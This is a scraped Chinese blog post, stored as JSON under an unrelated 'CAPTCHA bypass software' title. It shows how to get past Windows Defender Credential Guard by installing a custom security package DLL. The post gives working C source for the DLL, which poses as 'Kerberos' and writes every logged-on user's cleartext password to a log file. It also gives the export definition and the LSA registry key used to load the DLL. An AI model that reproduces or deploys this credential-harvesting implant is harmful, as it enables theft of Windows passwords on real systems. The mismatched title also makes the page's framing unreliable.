{"id":8720,"date":"2024-05-29T14:01:01","date_gmt":"2024-05-29T06:01:01","guid":{"rendered":""},"modified":"2024-05-29T14:01:01","modified_gmt":"2024-05-29T06:01:01","slug":"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6","status":"publish","type":"post","link":"https:\/\/mushiming.com\/8720.html","title":{"rendered":"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6"},"content":{"rendered":"

0. \u80cc\u666f<\/h3>\n

\u4e3a\u4e86\u907f\u514d\u653b\u51fb\u8005\u8f6c\u50a8\u7528\u6237\u7684\u51ed\u636e\u4fe1\u606f\uff0c\u4ece Windows 10 1507 \u4f01\u4e1a\u7248\u548c Windows Server 2016 \u5f00\u59cb\uff0c\u5fae\u8f6f\u5f15\u5165\u4e86 Windows Defender Credential Guard \u5b89\u5168\u63a7\u5236\u673a\u5236\uff0c\u5176\u4f7f\u7528\u57fa\u4e8e\u865a\u62df\u5316\u7684\u5b89\u5168\u6027\u6765\u9694\u79bb\u673a\u5bc6\uff0c\u4f9d\u6b21\u4fdd\u62a4 NTLM \u5bc6\u7801\u54c8\u5e0c\u3001Kerberos TGT \u7968\u636e\u548c\u5e94\u7528\u7a0b\u5e8f\u5b58\u50a8\u4e3a\u57df\u51ed\u636e\u7684\u51ed\u636e\u6765\u9632\u6b62\u51ed\u636e\u76d7\u7a83\u3001\u54c8\u5e0c\u4f20\u9012\u6216\u7968\u636e\u4f20\u9012\u7b49\u653b\u51fb\u3002<\/p>\n

\u5728 Windows 10 \u4e4b\u524d\uff0cLSA \u5c06\u64cd\u4f5c\u7cfb\u7edf\u6240\u4f7f\u7528\u7684\u5bc6\u7801\u5b58\u50a8\u5728\u5176\u8fdb\u7a0b\u5185\u5b58\u4e2d\u3002\u542f\u7528 Windows Defender Credential Guard \u540e\uff0c\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u7684 LSA \u8fdb\u7a0b\u4e0e\u5b58\u50a8\u548c\u4fdd\u62a4\u8fd9\u4e9b\u5bc6\u94a5\u7684\u65b0\u7ec4\u4ef6\uff08\u79f0\u4e3a\u9694\u79bb\u7684 LSA \u8fdb\u7a0b\uff0cIsolated LSA Process\uff09\u8fdb\u884c\u901a\u4fe1\u3002\u72ec\u7acb LSA \u8fdb\u7a0b\u5b58\u50a8\u7684\u6570\u636e\u4f7f\u7528\u57fa\u4e8e\u865a\u62df\u5316\u7684\u5b89\u5168\u6027\u8fdb\u884c\u4fdd\u62a4\uff0c\u64cd\u4f5c\u7cfb\u7edf\u7684\u5176\u4f59\u90e8\u5206\u65e0\u6cd5\u8bbf\u95ee\u3002LSA \u4f7f\u7528\u8fdc\u7a0b\u8fc7\u7a0b\u8c03\u7528\u6765\u4e0e\u9694\u79bb\u7684 LSA \u8fdb\u7a0b\u8fdb\u884c\u901a\u4fe1\u3002<\/p>\n

\u4e0b\u56fe\u7b80\u8981\u6982\u8ff0\u4e86\u5982\u4f55\u4f7f\u7528\u57fa\u4e8e\u865a\u62df\u5316\u7684\u5b89\u5168\u6027\u6765\u9694\u79bb LSA\uff1a<\/p>\n

\"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6<\/p>\n

\n

Source\uff1aHow Credential Guard works<\/p>\n<\/blockquote>\n

\u5982\u679c\u6211\u4eec\u5728\u542f\u7528\u4e86 Credential Guard \u7684\u7cfb\u7edf\u4e0a\u5c1d\u8bd5\u4f7f\u7528 Mimikatz \u4ece LSASS \u8fdb\u7a0b\u5185\u5b58\u4e2d\u63d0\u53d6\u51ed\u8bc1\uff0c\u6211\u4eec\u4f1a\u89c2\u5bdf\u5230\u4ee5\u4e0b\u7ed3\u679c\u3002<\/p>\n

\"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6<\/p>\n

\u5982\u4e0a\u56fe\u6240\u793a\uff0c\u6211\u4eec\u65e0\u6cd5\u4ece LSASS \u5185\u5b58\u4e2d\u63d0\u53d6\u4efb\u4f55\u51ed\u636e\uff0cNTLM \u54c8\u5e0c\u5904\u663e\u793a\u7684\u662f \u201cLSA Isolated Data: NtlmHash\u201d\u3002\u5e76\u4e14\uff0c\u5373\u4fbf\u5df2\u7ecf\u901a\u8fc7\u4fee\u6539\u6ce8\u518c\u8868\u542f\u7528\u4e86 Wdigest\uff0c\u4e5f\u4f9d\u7136\u83b7\u53d6\u4e0d\u5230\u4efb\u4f55\u660e\u51ed\u636e\u3002<\/p>\n

\u4e3a\u4e86\u8fdb\u884c\u6bd4\u8f83\uff0c\u4e0b\u56fe\u6240\u793a\u4e3a\u4e0d\u53d7 Credential Guard \u4fdd\u62a4\u7684\u7cfb\u7edf\u4e0a\u7684\u8f93\u51fa\u3002<\/p>\n

\"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6<\/p>\n

\u4ece Windows 11 Enterprise, Version 22H2 \u548c Windows 11 Education, Version 22H \u5f00\u59cb\uff0c\u517c\u5bb9\u7cfb\u7edf\u9ed8\u8ba4\u5df2\u542f\u7528 Windows Defender Credential Guard\u3002<\/p>\n

1. \u57fa\u7840\u77e5\u8bc6<\/h3>\n

1.1 \u81ea\u5b9a\u4e49\u5b89\u5168\u5305<\/h4>\n

\u81ea\u5b9a\u4e49\u5b89\u5168\u5305 API \u652f\u6301\u7ec4\u5408\u5f00\u53d1\u81ea\u5b9a\u4e49\u5b89\u5168\u652f\u6301\u63d0\u4f9b\u7a0b\u5e8f\uff08SSP\uff09\uff0c\u540e\u8005\u4e3a\u5ba2\u6237\u7aef\/\u670d\u52a1\u5668\u5e94\u7528\u7a0b\u5e8f\u63d0\u4f9b\u975e\u4ea4\u4e92\u8eab\u4efd\u9a8c\u8bc1\u670d\u52a1\u548c\u5b89\u5168\u6d88\u606f\u4ea4\u6362\uff0c\u4ee5\u53ca\u5f00\u53d1\u81ea\u5b9a\u4e49\u8eab\u4efd\u9a8c\u8bc1\u5305\uff0c\u4e3a\u6267\u884c\u4ea4\u4e92\u5f0f\u8eab\u4efd\u9a8c\u8bc1\u7684\u5e94\u7528\u7a0b\u5e8f\u63d0\u4f9b\u670d\u52a1\u3002\u8fd9\u4e9b\u670d\u52a1\u5728\u5355\u4e2a\u5305\u4e2d\u5408\u5e76\u65f6\u79f0\u4e3a\u5b89\u5168\u652f\u6301\u63d0\u4f9b\u7a0b\u5e8f\/\u8eab\u4efd\u9a8c\u8bc1\u5305\uff08SSP\/AP\uff09\u3002<\/p>\n

SSP\/AP \u4e2d\u90e8\u7f72\u7684\u5b89\u5168\u5305\u4e0e LSA \u5b8c\u5168\u96c6\u6210\u3002\u4f7f\u7528\u53ef\u7528\u4e8e\u81ea\u5b9a\u4e49\u5b89\u5168\u5305\u7684 LSA \u652f\u6301\u51fd\u6570\uff0c\u5f00\u53d1\u4eba\u5458\u53ef\u4ee5\u5b9e\u73b0\u9ad8\u7ea7\u5b89\u5168\u529f\u80fd\uff0c\u4f8b\u5982\u4ee4\u724c\u521b\u5efa\u3001 \u8865\u5145\u51ed\u636e\u652f\u6301\u548c\u76f4\u901a\u8eab\u4efd\u9a8c\u8bc1\u3002<\/p>\n

\u5982\u679c\u6211\u4eec\u81ea\u5b9a\u4e49\u5b89\u5168\u652f\u6301\u63d0\u4f9b\u7a0b\u5e8f\/\u8eab\u4efd\u9a8c\u8bc1\u5305\uff08SSP\/AP\uff09\uff0c\u5e76\u5c06\u5176\u6ce8\u518c\u5230\u7cfb\u7edf\uff0c\u5f53\u7528\u6237\u91cd\u65b0\u8fdb\u884c\u4ea4\u4e92\u5f0f\u8eab\u4efd\u9a8c\u8bc1\u65f6\uff0c\u7cfb\u7edf\u5c31\u4f1a\u540c\u901a\u8fc7\u6211\u4eec\u81ea\u5b9a\u4e49\u7684 SSP\/AP \u4f20\u9012\u660e\u6587\u51ed\u636e\uff0c\u8fd9\u610f\u5473\u7740\u6211\u4eec\u53ef\u4ee5\u63d0\u53d6\u5230\u660e\u6587\u51ed\u636e\u5e76\u5c06\u5176\u4fdd\u5b58\u4e0b\u6765\u3002\u8fd9\u6837\u4fbf\u53ef\u4ee5\u7ed5\u8fc7 Credential Guard \u7684\u4fdd\u62a4\u673a\u5236\u3002<\/p>\n

SSP\/AP \u5b89\u5168\u5305\uff0c\u4e3a\u4e86\u540c\u65f6\u6267\u884c\u8eab\u4efd\u9a8c\u8bc1\u5305\uff08AP\uff09\u548c\u5b89\u5168\u652f\u6301\u63d0\u4f9b\u7a0b\u5e8f\uff08SSP\uff09\uff0c\u53ef\u4ee5\u4f5c\u4e3a\u64cd\u4f5c\u7cfb\u7edf\u7684\u4e00\u90e8\u5206\u4ee5\u53ca\u4f5c\u4e3a\u7528\u6237\u5e94\u7528\u7a0b\u5e8f\u7684\u4e00\u90e8\u5206\u6267\u884c\u3002\u8fd9\u4e24\u79cd\u6267\u884c\u6a21\u5f0f\u5206\u522b\u79f0\u4e3a LSA \u6a21\u5f0f\u548c\u7528\u6237\u6a21\u5f0f\u3002\u8fd9\u91cc\u6211\u4eec\u9700\u8981\u7684\u662f LSA \u6a21\u5f0f\u3002<\/p>\n

\u4e0b\u9762\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0b\u5173\u4e8e LSA \u6a21\u5f0f\u7684\u521d\u59cb\u5316\u3002<\/p>\n

1.2 LSA \u6a21\u5f0f\u521d\u59cb\u5316<\/h4>\n

\u542f\u52a8\u8ba1\u7b97\u673a\u7cfb\u7edf\u540e\uff0c\u672c\u5730\u5b89\u5168\u673a\u6784\uff08LSA\uff09\u4f1a\u81ea\u52a8\u5c06\u6240\u6709\u5df2\u6ce8\u518c\u7684\u5b89\u5168\u652f\u6301\u63d0\u4f9b\u7a0b\u5e8f\/\u8eab\u4efd\u9a8c\u8bc1\u5305\uff08SSP\/AP\uff09\u7684 DLL \u52a0\u8f7d\u5230\u5176\u8fdb\u7a0b\u7a7a\u95f4\u4e2d\uff0c\u4e0b\u56fe\u663e\u793a\u4e86\u521d\u59cb\u5316\u8fc7\u7a0b\u3002<\/p>\n

\"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6<\/p>\n

\n

\u201cKerberos\u201d \u8868\u793a Microsoft Kerberos SSP\/AP\uff0c\u201cMy SSP\/AP\u201d \u8868\u793a\u5305\u542b\u4e24\u4e2a\u81ea\u5b9a\u4e49\u5b89\u5168\u5305\u7684\u81ea\u5b9a\u4e49 SSP\/AP\u3002<\/p>\n<\/blockquote>\n

\u542f\u52a8\u65f6\uff0cLSA \u8c03\u7528\u6bcf\u4e2a SSP\/AP \u4e2d\u7684 SpLsaModeInitialize() \u51fd\u6570\uff0c\u4ee5\u83b7\u53d6\u6307\u5411 DLL \u4e2d\u6bcf\u4e2a\u5b89\u5168\u5305\u5b9e\u73b0\u7684\u51fd\u6570\u7684\u6307\u9488\uff0c\u51fd\u6570\u6307\u9488\u4ee5 SECPKG_FUNCTION_TABLE \u7ed3\u6784\u6570\u7ec4\u7684\u5f62\u5f0f\u4f20\u9012\u7ed9 LSA\u3002<\/p>\n

\"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6<\/p>\n

\u6536\u5230\u4e00\u7ec4 SECPKG_FUNCTION_TABLE \u7ed3\u6784\u540e\uff0cLSA \u5c06\u8c03\u7528\u6bcf\u4e2a\u5b89\u5168\u5305\u7684 SpInitialize() \u51fd\u6570\u3002LSA \u4f7f\u7528\u6b64\u51fd\u6570\u8c03\u7528\u4f20\u9012\u7ed9\u6bcf\u4e2a\u5b89\u5168\u5305\u4e00\u4e2a LSA_SECPKG_FUNCTION_TABLE \u7ed3\u6784\uff0c\u5176\u4e2d\u5305\u542b\u6307\u5411\u5b89\u5168\u5305\u8c03\u7528\u7684 LSA \u51fd\u6570\u7684\u6307\u9488\u3002\u9664\u4e86\u5b58\u50a8\u6307\u5411 LSA \u652f\u6301\u51fd\u6570\u7684\u6307\u9488\u5916\uff0c\u81ea\u5b9a\u4e49\u5b89\u5168\u5305\u8fd8\u5e94\u4f7f\u7528 SpInitialize() \u51fd\u6570\u7684\u5b9e\u73b0\u6765\u6267\u884c\u4efb\u4f55\u4e0e\u521d\u59cb\u5316\u76f8\u5173\u7684\u5904\u7406\u3002<\/p>\n

\u5728\u8fd9\u91cc\uff0c\u6211\u4eec\u7684 SSP\/AP \u5b89\u5168\u5305\u9700\u8981\u5b9e\u73b0\u4e0b\u8868\u4e2d\u6240\u793a\u7684\u51e0\u4e2a\u51fd\u6570\u3002<\/p>\n\n\n\n\n\n\n\n\n
\u7531 SSP\/AP \u5b9e\u73b0\u7684\u51fd\u6570<\/td>\n\u8bf4\u660e<\/td>\n<\/tr>\n<\/thead>\n
SpInitialize<\/td>\n\u6267\u884c\u521d\u59cb\u5316\u5904\u7406\uff0c\u5e76\u63d0\u4f9b\u4e00\u4e2a\u51fd\u6570\u6307\u9488\u5217\u8868\u3002<\/td>\n<\/tr>\n
SpShutDown<\/td>\n\u5728\u5378\u8f7d SSP\/AP \u4e4b\u524d\u6267\u884c\u6240\u9700\u7684\u4efb\u4f55\u6e05\u7406\u3002<\/td>\n<\/tr>\n
SpGetInfo<\/td>\n\u63d0\u4f9b\u6709\u5173\u5b89\u5168\u5305\u7684\u4e00\u822c\u4fe1\u606f\uff0c\u4f8b\u5982\u5176\u540d\u79f0\u3001\u63cf\u8ff0\u548c\u529f\u80fd\u3002<\/td>\n<\/tr>\n
SpAcceptCredentials<\/td>\n\u5c06\u4e3a\u7ecf\u8fc7\u8eab\u4efd\u9a8c\u8bc1\u7684\u5b89\u5168\u4e3b\u4f53\u5b58\u50a8\u7684\u51ed\u636e\u4f20\u9012\u7ed9\u5b89\u5168\u5305\u3002<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n

1.3 \u7531 SSP\/AP \u5b9e\u73b0\u7684\u51fd\u6570<\/h4>\n

\u4ee5\u4e0b\u51fd\u6570\u7531\u6211\u4eec\u81ea\u5b9a\u4e49\u7684\u5b89\u5168\u652f\u6301\u63d0\u4f9b\u7a0b\u5e8f\/\u8eab\u4efd\u9a8c\u8bc1\u5305\uff08SSP\/AP\uff09\u5b9e\u73b0\uff0c\u672c\u5730\u5b89\u5168\u673a\u6784\uff08LSA\uff09\u901a\u8fc7\u4f7f\u7528 SSP\/AP \u7684 SpLsaModeInitialize \u51fd\u6570\u63d0\u4f9b\u7684 SECPKG_FUNCTION_TABLE<\/code> \u7ed3\u6784\u6765\u8bbf\u95ee\u8fd9\u4e9b\u51fd\u6570\u3002<\/p>\n

SpInitialize<\/p>\n

SpInitialize \u51fd\u6570\u7531\u672c\u5730\u5b89\u5168\u673a\u6784\uff08LSA\uff09\u8c03\u7528\u4e00\u6b21\uff0c\u7528\u4e8e\u6267\u884c\u4efb\u4f55\u4e0e\u521d\u59cb\u5316\u76f8\u5173\u7684\u5904\u7406\uff0c\u5e76\u63d0\u4f9b\u4e00\u4e2a\u51fd\u6570\u6307\u9488\u5217\u8868\uff0c\u5176\u4e2d\u5305\u542b\u5b89\u5168\u5305\u8c03\u7528\u7684 LSA \u51fd\u6570\u7684\u6307\u9488\u3002<\/p>\n

\u51fd\u6570\u58f0\u660e\u5982\u4e0b\uff1a<\/p>\n

NTSTATUS Spinitializefn(\n  [in] ULONG_PTR PackageId,\n  [in] PSECPKG_PARAMETERS Parameters,\n  [in] PLSA_SECPKG_FUNCTION_TABLE FunctionTable\n);<\/code><\/pre>\n

\u53c2\u6570\u5982\u4e0b\uff1a<\/p>\n

    \n
  • \n

    \u2022 [in] PackageId\uff1aLSA \u5206\u914d\u7ed9\u6bcf\u4e2a\u5b89\u5168\u5305\u7684\u552f\u4e00\u6807\u8bc6\u7b26\u3002\u8be5\u503c\u5728\u91cd\u65b0\u542f\u52a8\u7cfb\u7edf\u4e4b\u524d\u6709\u6548\u3002<\/p>\n<\/li>\n

  • \n

    \u2022 [in] Parameters\uff1a\u6307\u5411\u5305\u542b\u4e3b\u57df\u548c\u8ba1\u7b97\u673a\u72b6\u6001\u4fe1\u606f\u7684 SECPKG_PARAMETERS<\/code> \u7ed3\u6784\u7684\u6307\u9488\u3002<\/p>\n<\/li>\n

  • \n

    \u2022 [in] FunctionTable\uff1a\u6307\u5411\u53ef\u4ee5\u5b89\u5168\u5305\u8c03\u7528\u7684 LSA \u51fd\u6570\u7684\u6307\u9488\u5217\u8868\u3002<\/p>\n<\/li>\n<\/ul>\n

    SpShutDown<\/p>\n

    SpShutDown \u51fd\u6570\u5728\u5378\u8f7d\u5b89\u5168\u652f\u6301\u63d0\u4f9b\u7a0b\u5e8f\/\u8eab\u4efd\u9a8c\u8bc1\u5305 (SSP\/AP) \u4e4b\u524d\uff0c\u7531\u672c\u5730\u5b89\u5168\u673a\u6784\uff08LSA\uff09\u8c03\u7528\uff0c\u7528\u4e8e\u5728\u5378\u8f7d SSP\/AP \u4e4b\u524d\u6267\u884c\u6240\u9700\u7684\u4efb\u4f55\u6e05\u7406\uff0c\u4ee5\u4fbf\u91ca\u653e\u8d44\u6e90\u3002<\/p>\n

    \u51fd\u6570\u58f0\u660e\u5982\u4e0b\uff1a<\/p>\n

    NTSTATUS SpShutDown(void);<\/code><\/pre>\n

    \u8fd9\u4e2a\u51fd\u6570\u6ca1\u6709\u53c2\u6570\u3002<\/p>\n

    SpGetInfo<\/p>\n

    SpGetInfo \u51fd\u6570\u63d0\u4f9b\u6709\u5173\u5b89\u5168\u5305\u7684\u4e00\u822c\u4fe1\u606f\uff0c\u4f8b\u5982\u5176\u540d\u79f0\u548c\u529f\u80fd\u63cf\u8ff0\u3002\u5ba2\u6237\u7aef\u8c03\u7528\u5b89\u5168\u652f\u6301\u63d0\u4f9b\u7a0b\u5e8f\u63a5\u53e3\uff08SSPI\uff09\u7684 QuerySecurityPackageInfo \u51fd\u6570\u65f6\uff0c\u5c06\u8c03\u7528 SpGetInfo \u51fd\u6570\u3002<\/p>\n

    \u51fd\u6570\u58f0\u660e\u5982\u4e0b\uff1a<\/p>\n

    NTSTATUS Spgetinfofn(\n  [out] PSecPkgInfo PackageInfo\n);<\/code><\/pre>\n

    \u53c2\u6570\u5982\u4e0b\uff1a<\/p>\n

      \n
    • \n

      \u2022 [out] PackageInfo\uff1a\u6307\u5411\u7531\u672c\u5730\u5b89\u5168\u673a\u6784\uff08LSA\uff09\u5206\u914d\u7684 SecPkgInfo \u7ed3\u6784\u7684\u6307\u9488\uff0c\u5fc5\u987b\u7531\u5305\u586b\u5145\u3002<\/p>\n<\/li>\n<\/ul>\n

      SpAcceptCredentials<\/p>\n

      SpAcceptCredentials \u51fd\u6570\u7531\u672c\u5730\u5b89\u5168\u673a\u6784\uff08LSA\uff09\u8c03\u7528\uff0c\u4ee5\u5c06\u4e3a\u7ecf\u8fc7\u8eab\u4efd\u9a8c\u8bc1\u7684\u5b89\u5168\u4e3b\u4f53\u5b58\u50a8\u7684\u4efb\u4f55\u51ed\u636e\u4f20\u9012\u7ed9\u5b89\u5168\u5305\u3002\u4e3a LSA \u5b58\u50a8\u7684\u6bcf\u7ec4\u51ed\u636e\u8c03\u7528\u4e00\u6b21\u6b64\u51fd\u6570\u3002<\/p>\n

      \u51fd\u6570\u58f0\u660e\u5982\u4e0b\uff1a<\/p>\n

      NTSTATUS Spacceptcredentialsfn(\n  [in] SECURITY_LOGON_TYPE LogonType,\n  [in] PUNICODE_STRING AccountName,\n  [in] PSECPKG_PRIMARY_CRED PrimaryCredentials,\n  [in] PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials\n);<\/code><\/pre>\n

      \u53c2\u6570\u5982\u4e0b\uff1a<\/p>\n

        \n
      • \n

        \u2022 [in] LogonType\uff1a\u6307\u793a\u767b\u5f55\u7c7b\u578b\u7684 SECURITY_LOGON_TYPE<\/code> \u503c\u3002<\/p>\n<\/li>\n

      • \n

        \u2022 [in] AccountName\uff1a\u6307\u5411\u5b58\u50a8\u767b\u5f55\u5e10\u6237\u540d\u79f0\u7684 UNICODE_STRING<\/code> \u7ed3\u6784\u7684\u6307\u9488\u3002<\/p>\n<\/li>\n

      • \n

        \u2022 [in] PrimaryCredentials\uff1a\u6307\u5411\u5305\u542b\u767b\u5f55\u51ed\u636e\u7684 SECPKG_PRIMARY_CRED<\/code> \u7ed3\u6784\u7684\u6307\u9488\u3002<\/p>\n<\/li>\n

      • \n

        \u2022 [in] SupplementalCredentials\uff1a\u6307\u5411\u5305\u542b\u7279\u5b9a\u4e8e\u5305\u7684\u8865\u5145\u51ed\u636e\u7684 ECPKG_SUPPLEMENTAL_CRED<\/code> \u7ed3\u6784\u7684\u6307\u9488\u3002<\/p>\n<\/li>\n<\/ul>\n

        2. \u7f16\u7a0b\u5b9e\u73b0<\/h3>\n

        \u901a\u8fc7 C\/C++ \u521b\u5efa\u4e00\u4e2a\u540d\u4e3a CustSSP \u7684 DLL \u9879\u76ee\uff0c\u5b9e\u73b0\u81ea\u5b9a\u4e49 SSP\/AP \u5305\u3002\u7531\u4e8e\u7bc7\u5e45\u9650\u5236\uff0c\u7b14\u8005\u4ec5\u63d0\u4f9b\u5173\u952e\u4ee3\u7801\u90e8\u5206\u3002<\/p>\n

        #include \"pch.h\"\n\nstatic SECPKG_FUNCTION_TABLE SecPkgFunctionTable[] = {\n    {\n    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,\n    _SpInitialize, _SpShutDown, _SpGetInfo, _SpAcceptCredentials,\n    NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,\n    NULL, NULL, NULL, NULL, NULL, NULL, NULL\n    }\n};\n\nNTSTATUS NTAPI _SpInitialize(ULONG_PTR PackageId, PSECPKG_PARAMETERS Parameters, PLSA_SECPKG_FUNCTION_TABLE FunctionTable)\n{\n    return STATUS_SUCCESS;\n}\n\nNTSTATUS NTAPI _SpShutDown(void)\n{\n    return STATUS_SUCCESS;\n}\n\nNTSTATUS NTAPI _SpGetInfo(PSecPkgInfoW PackageInfo)\n{\n    PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;\n    PackageInfo->wVersion = 1;\n    PackageInfo->wRPCID = SECPKG_ID_NONE;\n    PackageInfo->cbMaxToken = 0;\n    PackageInfo->Name = (SEC_WCHAR*)L\"Kerberos\";\n    PackageInfo->Comment = (SEC_WCHAR*)L\"Microsoft Kerberos V5.0\";\n    return STATUS_SUCCESS;\n}\n\nNTSTATUS NTAPI _SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)\n{\n    const wchar_t* LSA_LOGON_TYPE[] = {\n        L\"UndefinedLogonType\",\n        L\"Unknown !\",\n        L\"Interactive\",\n        L\"Network\",\n        L\"Batch\",\n        L\"Service\",\n        L\"Proxy\",\n        L\"Unlock\",\n        L\"NetworkCleartext\",\n        L\"NewCredentials\",\n        L\"RemoteInteractive\",\n        L\"CachedInteractive\",\n        L\"CachedRemoteInteractive\",\n        L\"CachedUnlock\",\n    };\n\n    FILE* logfile;\n\n    if (_wfopen_s(&logfile, L\"CustSSP.log\", L\"a\") == 0)\n    {\n        SspLog(\n            logfile,\n            L\">>>>=================================================================\\n\"\n            L\"[+] Authentication Id : %u:%u (%08x:%08x)\\n\"\n            L\"[+] Logon Type        : %s\\n\"\n            L\"[+] User Name         : %wZ\\n\"\n            L\"[+] Domain            : %wZ\\n\"\n            L\"[+] Logon Server      : %wZ\\n\"\n            L\"[+] SID               : %s\\n\"\n            L\"[+] SSP Credential    : \\n\"\n            L\"\\t* UserName    : %wZ\\n\"\n            L\"\\t* Domain      : %wZ\\n\"\n            L\"\\t* Password    : \",\n            PrimaryCredentials->LogonId.HighPart,\n            PrimaryCredentials->LogonId.LowPart,\n            PrimaryCredentials->LogonId.HighPart,\n            PrimaryCredentials->LogonId.LowPart,\n            LSA_LOGON_TYPE[LogonType],\n            AccountName,\n            &PrimaryCredentials->DomainName,\n            &PrimaryCredentials->LogonServer,\n            SidToString(PrimaryCredentials->UserSid),\n            &PrimaryCredentials->DownlevelName,\n            &PrimaryCredentials->DomainName\n        );\n        SspLogPassword(logfile, &PrimaryCredentials->Password);\n        SspLog(logfile, L\"\\n\");\n        fclose(logfile);\n    }\n    return STATUS_SUCCESS;\n}\n\nNTSTATUS NTAPI _SpLsaModeInitialize(ULONG LsaVersion, PULONG PackageVersion, PSECPKG_FUNCTION_TABLE* ppTables, PULONG pcTables)\n{\n    *PackageVersion = SECPKG_INTERFACE_VERSION;\n    *ppTables = SecPkgFunctionTable;\n    *pcTables = ARRAYSIZE(SecPkgFunctionTable);\n    return STATUS_SUCCESS;\n}<\/code><\/pre>\n

        \u5728 CustSSP \u4e2d\uff0c\u6211\u4eec\u4f9d\u6b21\u5b9e\u73b0\u4e86 SpInitialize\u3001SpShutDown\u3001SpGetInfo \u548c SpAcceptCredentials \u51fd\u6570\uff0c\u5e76\u5b9a\u4e49\u4e86\u4e00\u4e2a\u540d\u4e3a SecPkgFunctionTable<\/code> \u7684 SECPKG_FUNCTION_TABLE<\/code> \u7ed3\u6784\uff0c\u7528\u4e8e\u5b58\u50a8\u6307\u5411\u8fd9\u4e9b\u51fd\u6570\u7684\u6307\u9488\u3002<\/p>\n

        \u4e4b\u540e\uff0c\u6211\u4eec\u901a\u8fc7\u5b9a\u4e49 .def \u6587\u4ef6\u5c06 CustSSP \u4e2d\u5b9a\u4e49\u7684 SpLsaModeInitialize<\/code> \u51fd\u6570\u5bfc\u51fa\uff0c\u5982\u4e0b\u6240\u793a\u3002\u8be5\u51fd\u6570\u4f1a\u88ab\u672c\u5730\u5b89\u5168\u673a\u6784\uff08LSA\uff09\u8c03\u7528\u4e00\u6b21\uff0c\u4ece\u800c\u5c06 CustSSP \u4e2d\u5b9e\u73b0\u7684\u51fd\u6570\u7684\u6307\u9488\u63d0\u4f9b\u7ed9 LSA\u3002<\/p>\n

        LIBRARY\nEXPORTS\n    SpLsaModeInitialize  = _SpLsaModeInitialize<\/code><\/pre>\n

        3. \u8fd0\u884c\u6548\u679c\u6f14\u793a<\/h3>\n

        \u5c06\u7f16\u8bd1\u751f\u6210\u7684 CustSSP.dll \u7f6e\u4e8e C:\\Windows\\System32 \u76ee\u5f55\u4e2d\uff0c\u5e76\u5c06 \u201cCustSSP\u201d \u6dfb\u52a0\u5230\u4ee5\u4e0b\u6ce8\u518c\u8868\u503c\u7684\u6570\u636e\u4e2d\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002<\/p>\n

        HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Lsa\\Security Packages<\/code><\/pre>\n
        \n

        \u901a\u5e38\uff0cSSP\/AP DLL \u5b58\u50a8\u5728 %SystemRoot%\/System32 \u76ee\u5f55\u4e2d\u3002\u5982\u679c\u8fd9\u662f\u81ea\u5b9a\u4e49 SSP\/AP DLL \u7684\u8def\u5f84\uff0c\u5219\u4e0d\u5305\u62ec\u8def\u5f84\u4f5c\u4e3a DLL \u540d\u79f0\u7684\u4e00\u90e8\u5206\u3002\u4f46\u662f\uff0c\u5982\u679c DLL \u4f4d\u4e8e\u5176\u4ed6\u8def\u5f84\u4e2d\uff0c\u8bf7\u5728\u540d\u79f0\u4e2d\u5305\u542b DLL \u7684\u5b8c\u6574\u8def\u5f84\u3002<\/p>\n<\/blockquote>\n

        \"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6<\/p>\n

        \u5f53\u76ee\u6807\u4e3b\u673a\u91cd\u65b0\u542f\u52a8\u5e76\u8fdb\u884c\u4ea4\u4e92\u5f0f\u8eab\u4efd\u9a8c\u8bc1\u540e\uff0c\u5c06\u5728 C:\\Windows\\System32\\CustSSP.log \u4e2d\u8bb0\u5f55\u5f53\u524d\u767b\u5f55\u7528\u6237\u7684\u660e\u6587\u5bc6\u7801\uff0c\u5982\u4e0b\u56fe\u6240\u793a\u3002<\/p>\n

        \"\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6_\u7ed5\u8fc7\u9a8c\u8bc1\u7801\u7684\u8f6f\u4ef6<\/p>\n

        \u6210\u529f\u5229\u7528\u8be5\u65b9\u6cd5\u7684\u6761\u4ef6\u662f\u5fc5\u987b\u91cd\u65b0\u542f\u52a8\u76ee\u6807\u7cfb\u7edf\u3002\u56e0\u6b64\u53ea\u6709\u542f\u52a8\u8ba1\u7b97\u673a\u7cfb\u7edf\u540e\uff0c\u672c\u5730\u5b89\u5168\u673a\u6784\uff08LSA\uff09\u624d\u4f1a\u81ea\u52a8\u5c06\u5df2\u6ce8\u518c\u7684 SSP\/AP \u7684 DLL \u52a0\u8f7d\u5230\u5176\u8fdb\u7a0b\u7a7a\u95f4\u4e2d\u3002<\/p>\n

